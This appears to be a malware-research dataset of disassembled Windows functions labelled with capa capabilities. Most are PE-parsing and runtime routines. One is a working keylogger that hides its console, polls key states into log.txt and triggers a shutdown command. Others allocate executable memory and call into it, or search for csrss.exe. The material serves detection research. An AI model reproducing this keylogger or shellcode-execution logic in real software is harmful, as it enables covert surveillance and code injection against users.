joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fb588
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400d8788
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400fb612
cmp byte [rbp - 0x21], r15b
je 0x1400fb60d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400fb648
call fcn.1400ebabc
test eax, eax
jne 0x1400fb634
cmp byte [rbp - 0x21], r15b
je 0x1400fb62c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400fb648
cmp byte [rbp - 0x21], r15b
je 0x1400fb645
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400e5314
test eax, eax
jne 0x1400fb6e8
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400d8788
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400fb687
cmp byte [rbp - 0x21], r15b
je 0x1400fb6bc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400fb6bc
call fcn.1400ebabc
test eax, eax
jne 0x1400fb6a8
cmp byte [rbp - 0x21], r15b
je 0x1400fb6a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400fb6bc
cmp byte [rbp - 0x21], r15b
je 0x1400fb6b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400e5314
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400fb6e8
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400fb6eb
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400fb6f9
mov rcx, rdi
call fcn.1400ed0b0
cmp byte [rbp + 0x3f], r15b
je 0x1400fb708
mov rcx, qword [rbp + 0x27]
call fcn.1400ed0b0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400fca80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400fcaa8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400fcaa8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00404500]
mov dword [rax], 1
mov rax, qword [0x00404510]
mov dword [rax], 1
mov rax, qword [0x00404490]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x004044e0]
mov dword [0x00407020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004045b0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x00404590]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404440]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a
Function at 0x401540
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, section..rdata
mov rdx, rax
lea rax, str.log.txt
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x10], rax
mov byte [rbp - 1], 8
movsx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
jne case.0x4015ff.10
cmp byte [rbp - 1], 0x26
jle 0x40159c
cmp byte [rbp - 1], 0x40
jle 0x4015b4
cmp byte [rbp - 1], 0x40
jle 0x4015a8
cmp byte [rbp - 1], 0x5a
jle 0x4015b4
cmp byte [rbp - 1], 0x60
jle 0x4015cf
cmp byte [rbp - 1], 0x7a
jg 0x4015cf
movsx eax, byte [rbp - 1]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
call sym.fputc
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fflush
movsx eax, byte [rbp - 1]
sub eax, 8
cmp eax, 0x20
ja case.0x4015ff.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x00404064]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x00404064]
add rax, rdx
jmp rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0x20
call sym.fputc
lea rax, str.shutdown__s
mov rcx, rax
call sym.system
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0xa
call sym.fputc
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str.__Ctrl_
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 9
call sym.fputc
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._Esc_
mov rcx, rax
call sym.fwrite
lea rax, str.shutdown__s
mov rcx, rax
call sym.system
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 9
mov edx, 1
lea rax, str._Caps_ON_
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._Alt_
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._TAB_
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._END_
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, [0x00404042]
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.____
mov rcx, rax
call sym.fwrite
lea rax, str.shutdown__s
mov rcx, rax
call sym.system
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 0xc
mov edx, 1
lea rax, str._DOWN_ARROW_
mov rcx, rax
call sym.fwrite
jmp case.0x4015ff.10
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 0xa
mov edx, 1
lea rax, str._UP_ARROW_
mov rcx, rax
call sym.fwrite
nop
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x401577
Function at 0x401ac0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x401b30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004070b4]
test esi, esi
mov rbx, rcx
jle 0x401c60
mov rax, qword [0x004070b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x401b7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x401c05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x401b60
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x401c82
mov rax, qword [0x004070b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401c67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401bfe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x401c10
add dword [0x004070b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004070b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401bfe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x401b88
mov rax, qword [0x004070b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x402220
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00407120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00407100]
test rbx, rbx
je 0x40227c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x402273
test eax, eax
jne 0x402273
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402258
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4024a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x4024b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x4024c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x4024d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x40251d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x402514
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x40251f
add rax, 0x28
cmp rax, r9
jne 0x402500
xor eax, eax
ret

Function at 0x402520
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x4025b0
mov rdx, qword [0x00404490]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x40259e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40259e
cmp word [rax + 0x18], 0x20b
jne 0x40259e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x4025b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x402589
add rbx, 0x28
cmp rbx, rdi
je 0x4025b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x402580
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x4025c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00404490]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4025e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4025e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4025e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x40263d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402634
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4025e0
add rax, 0x28
cmp rax, r9
jne 0x402620
xor eax, eax
ret

Function at 0x402640
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00404490]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x40265f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x402668
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x40265f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x402680
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x00404490]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x4026a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x4026a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x4026a0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x4026f0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x4026e7
test rcx, rcx
je 0x4026a0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x4026d8
xor eax, eax
ret
Function at 0x402700
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00404490]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x40271f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x402728
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x402740
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00404490]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402760
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402768
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402760
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x402760
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x4027b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x4027c0
add rdx, 0x28
cmp r9, rdx
jne 0x4027a0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x4027d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x00404490]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x4027f2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x402800
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4027f2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x4027f2
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x4027f2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x402855
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x402868
add rdx, 0x28
cmp r10, rdx
jne 0x402840
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x402877
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x402887
mov edx, dword [rax + 0xc]
test edx, edx
je 0x40285e
test ecx, ecx
jg 0x402870
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140008f70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140027040]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x140009031
mov byte [rax], 0xc3
mov edx, dword [rsp + 0x2c]
lea r9, [rsp + 0x58]
mov r8d, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140009031
call rbx
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140016040
add rsp, 0x70
pop rbx
ret
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140016040
add rsp, 0x70
pop rbx
ret
Function at 0x140009450
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x4b0
mov rax, qword [0x140027040]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebp, dword [rsp + 0x74]
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
lea rdx, [fcn.140009450]
mov ecx, 4
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
test eax, eax
je 0x1400095f3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x20]
lea r8, [rsp + 0x28]
mov rcx, rax
mov r9d, reloc.OLEAUT32.dll_SafeArrayGetElement
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x14000957b
xor ebx, ebx
cmp dword [rsp + 0x30], ebx
jbe 0x14000957b
mov rsi, qword [rsp + 0x28]
xor eax, eax
lea rdi, [rsp + 0xa0]
mov ecx, 0x200
lea rdx, str.Scanning__p...
rep stosb byte [rdi], al
lea rcx, [rsp + 0xa0]
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp rax, 0x30
jb 0x140009568
mov eax, dword [rsp + 0x64]
test al, 0x10
jne 0x140009548
test al, 0x20
jne 0x140009548
test al, al
js 0x140009548
test al, 0x40
je 0x140009560
bt eax, 8
jb 0x14000961e
test dword [rsp + 0x50], 0x100
jne 0x14000961e
test al, 1
jne 0x14000961e
mov eax, dword [rsp + 0x30]
add rbx, rbp
add rsi, rbp
cmp rbx, rax
jb 0x1400094f1
mov rsi, qword [0x1400400c0]
mov rbp, qword [0x1400400c8]
cmp rsi, rbp
je 0x1400095f3
nop
mov rbx, qword [rsi]
lea rdi, [rsp + 0xa0]
xor eax, eax
lea rdx, str.Scanning_delta_for__p...
mov ecx, 0x200
mov r8, rbx
rep stosb byte [rdi], al
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp rax, 0x30
jb 0x1400095ea
mov eax, dword [rsp + 0x64]
test al, 0x10
jne 0x1400095ea
test al, 0x20
jne 0x1400095ea
test al, al
js 0x1400095ea
test al, 0x40
je 0x14000961e
add rsi, 8
cmp rsi, rbp
jne 0x140009590
xor eax, eax
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.140016040
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov eax, 1
jmp 0x1400095f5
Function at 0x14000ba60
Capabilities:
Get disk information

Disassembly:
push rbx
push rsi
sub rsp, 0x458
mov rax, qword [0x140027040]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rbx, rcx
mov edx, 0x5c
add rcx, 2
call qword [sym.imp.SHLWAPI.dll_StrChrW]
test rax, rax
je 0x14000bcb8
mov edx, 0x5c
lea rcx, [rax + 2]
call qword [sym.imp.SHLWAPI.dll_StrChrW]
mov rsi, rax
test rax, rax
je 0x14000bcb8
mov qword [rsp + 0x478], rbp
xor edx, edx
movzx ebp, word [rax]
mov r8d, 0x202
mov qword [rsp + 0x480], rdi
mov qword [rsp + 0x450], r14
xor r14d, r14d
mov word [rax], r14w
mov ecx, dword [0x14001c404]
mov dword [rsp + 0x20], ecx
movzx ecx, word [0x14001c408]
mov word [rsp + 0x24], cx
lea rcx, [rsp + 0x26]
call sub.VCRUNTIME140.dll_memset
mov edi, 0x41
mov r8d, 0x104
mov word [rsp + 0x20], di
lea rdx, [rsp + 0x230]
mov word [rsp + 0x230], r14w
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x14000bb41
mov rdx, rbx
lea rcx, [rsp + 0x230]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14000bb84
inc di
cmp di, 0x5a
jb 0x14000bb01
mov word [rsi], bp
mov eax, 0x80004005
mov rdi, qword [rsp + 0x480]
mov rbp, qword [rsp + 0x478]
mov r14, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140016040
add rsp, 0x458
pop rsi
pop rbx
ret
mov edx, 0x82
lea rax, [rsp + 0x20]
mov ecx, edx
cmp word [rax], r14w
je 0x14000bba0
add rax, 2
sub rcx, 1
jne 0x14000bb90
mov rax, rdx
mov r9d, 0x7ffffffe
sub rax, rcx
test rcx, rcx
cmove rax, r14
je 0x14000bc03
mov r8, rdx
lea rcx, [rsp + 0x20]
lea rcx, [rcx + rax*2]
sub r8, rax
je 0x14000bbf4
lea r11, [0x14001c40c]
mov eax, r9d
sub r11, rcx
test rax, rax
je 0x14000bbf4
movzx r10d, word [r11 + rcx]
test r10w, r10w
je 0x14000bbf4
mov word [rcx], r10w
dec rax
add rcx, 2
sub r8, 1
jne 0x14000bbd3
test r8, r8
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], r14w
mov rcx, rdx
lea rax, [rsp + 0x20]
nop dword [rax + rax]
cmp word [rax], r14w
je 0x14000bc20
add rax, 2
sub rcx, 1
jne 0x14000bc10
mov rax, rdx
sub rax, rcx
test rcx, rcx
cmove rax, r14
je 0x14000bc71
mov r8, rdx
lea rcx, [rsp + 0x20]
lea rcx, [rcx + rax*2]
sub r8, rax
je 0x14000bc62
sub rsi, rcx
test r9, r9
je 0x14000bc62
movzx eax, word [rsi + rcx + 2]
test ax, ax
je 0x14000bc62
mov word [rcx], ax
dec r9
add rcx, 2
sub r8, 1
jne 0x14000bc43
test r8, r8
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], r14w
lea rcx, [rsp + 0x20]
sub rcx, rbx
nop dword [rax]
lea rax, [rdx + 0x7fffff7c]
test rax, rax
je 0x14000bca2
movzx eax, word [rcx + rbx]
test ax, ax
je 0x14000bca2
mov word [rbx], ax
add rbx, 2
sub rdx, 1
jne 0x14000bc80
test rdx, rdx
lea rax, [rbx - 2]
cmovne rax, rbx
mov word [rax], r14w
xor eax, eax
jmp 0x14000bb52
mov eax, 0x80004005
jmp 0x14000bb6a
Function at 0x14000d740
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x140027040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebx, ebx
lea rdx, [0x14003f1f0]
mov ecx, ebx
mov rax, rdx
nop dword [rax]
cmp dword [rax], ebx
je 0x14000d7bc
inc ecx
add rax, 0x30
cmp ecx, 0x1f
jb 0x14000d770
mov qword [rsp + 0x280], rdi
xor eax, eax
lea rdi, [rsp + 0x20]
mov ecx, 0x238
rep stosb byte [rdi], al
mov ecx, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d803
lea rcx, [0x140021db0]
call fcn.140012fe0
jmp 0x14000d891
movsxd rax, ecx
lea rcx, [rax + rax*2]
add rcx, rcx
cmp byte [rdx + rcx*8 + 0x24], bl
je 0x14000d77f
mov ecx, ebx
mov rax, rdx
cmp dword [rax], ebx
je 0x14000d7e7
inc ecx
add rax, 0x30
cmp ecx, 0x1f
jb 0x14000d7d1
call rbx
jmp 0x14000d89b
movsxd rax, ecx
lea rcx, [rax + rax*2]
add rcx, rcx
cmp byte [rdx + rcx*8 + 0x24], bl
je 0x14000d7fc
mov rbx, qword [rdx + rcx*8 + 0x28]
call rbx
jmp 0x14000d89b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14000d82b
lea rcx, str.Process32First
call fcn.140012fe0
jmp 0x14000d888
lea rdx, str.csrss.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
mov rcx, rdi
test eax, eax
jne 0x14000d850
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x28]
jmp 0x14000d891
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000d888
nop
lea rdx, str.csrss.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
mov rcx, rdi
test eax, eax
je 0x14000d844
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000d860
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
